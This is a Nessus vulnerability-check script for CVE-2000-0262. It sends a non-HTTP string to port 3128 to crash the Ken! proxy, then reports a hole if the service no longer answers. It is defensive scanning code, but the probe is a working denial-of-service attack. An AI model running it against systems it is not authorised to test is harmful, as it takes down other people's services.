# # This script was written by Renaud Deraison # # See the Nessus Scripts License for details # if(description) { script_id(10375); script_version ("$Revision$"); script_cve_id("CVE-2000-0262"); script_bugtraq_id(1103); name["english"] = "Ken! DoS"; name["francais"] = "Déni de service contre Ken!"; script_name(english:name["english"], francais:name["francais"]); desc["english"] = " It was possible to make the remote service (very likely Ken! proxy software) crash by sending a non-http request to this port. In the case of the Ken! proxy, this attack can only performed from inside the LAN. Solution : contact your vendor for a fix Risk factor : High"; desc["francais"] = " Il est possible de faire planter le service distant (probablement le proxy Ken!) en lui envoyant une requete non-http. Dans le cas du proxy Ken! cette attaque n'est effective que si elle est lancée à partir de l'interieur du LAN. Solution : contactez votre vendeur pour un patch Facteur de risque : Elevé"; script_description(english:desc["english"], francais:desc["francais"]); summary["english"] = "Ken! Segmentation fault"; summary["francais"] = "Erreur de segmentation dans Ken!"; script_summary(english:summary["english"], francais:summary["francais"]); script_category(ACT_DENIAL); script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison", francais:"Ce script est Copyright (C) 2000 Renaud Deraison"); family["english"] = "Denial of Service"; family["francais"] = "Déni de service"; script_family(english:family["english"], francais:family["francais"]); script_dependencie("find_service.nes"); script_require_ports(3128); exit(0); } # # The script code starts here # port = 3128; if(get_port_state(port)) { data = string("Whooopppss_Ken_died\r\n"); soc = open_sock_tcp(port); if(soc > 0) { send(socket:soc, data:data); close(soc); soc2 = open_sock_tcp(port); if(!soc2)security_hole(port); else close(soc2); } }